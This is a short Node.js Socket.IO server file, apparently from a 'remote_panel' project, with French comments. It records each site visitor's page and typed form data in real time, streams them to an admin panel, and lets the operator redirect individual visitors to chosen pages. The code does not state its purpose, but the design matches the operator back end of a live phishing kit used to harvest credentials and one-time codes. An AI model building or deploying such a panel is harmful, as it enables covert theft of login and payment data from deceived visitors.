/home2/mshostin/.trash/remote_panel/server.js
const express = require('express');
const path = require('path');
const http = require('http');
const { Server } = require('socket.io');
const app = express();
const server = http.createServer(app);
const io = new Server(server);
// Servir fichiers statiques
app.use(express.static(path.join(__dirname, 'public')));
// Liste des visiteurs
let visitors = {};
// Namespace visiteurs
const visitorNamespace = io.of('/visitors');
visitorNamespace.on('connection', (socket) => {
console.log('Visiteur connecté :', socket.id);
// Ajouter le visiteur avec page par défaut
visitors[socket.id] = { page: 'index.html', formData: {} };
// Envoyer la liste aux admins
adminNamespace.emit('visitorList', visitors);
// Recevoir mise à jour de la page/formulaire
socket.on('updateInfo', (data) => {
visitors[socket.id] = { ...visitors[socket.id], ...data };
adminNamespace.emit('visitorList', visitors);
});
// Déconnexion
socket.on('disconnect', () => {
delete visitors[socket.id];
adminNamespace.emit('visitorList', visitors);
});
});
// Namespace admin
const adminNamespace = io.of('/remote_app');
adminNamespace.on('connection', (socket) => {
console.log('Admin connecté :', socket.id);
// Envoyer la liste initiale
socket.emit('visitorList', visitors);
// Redirection individuelle
socket.on('redirectVisitor', ({ id, page }) => {
const visitorSocket = visitorNamespace.sockets.get(id);
if (visitorSocket) {
visitorSocket.emit('redirect', page);
}
});
});
// Écouter le port Passenger
const PORT = process.env.PORT || 3000;
server.listen(PORT, () => console.log('Server running on port', PORT));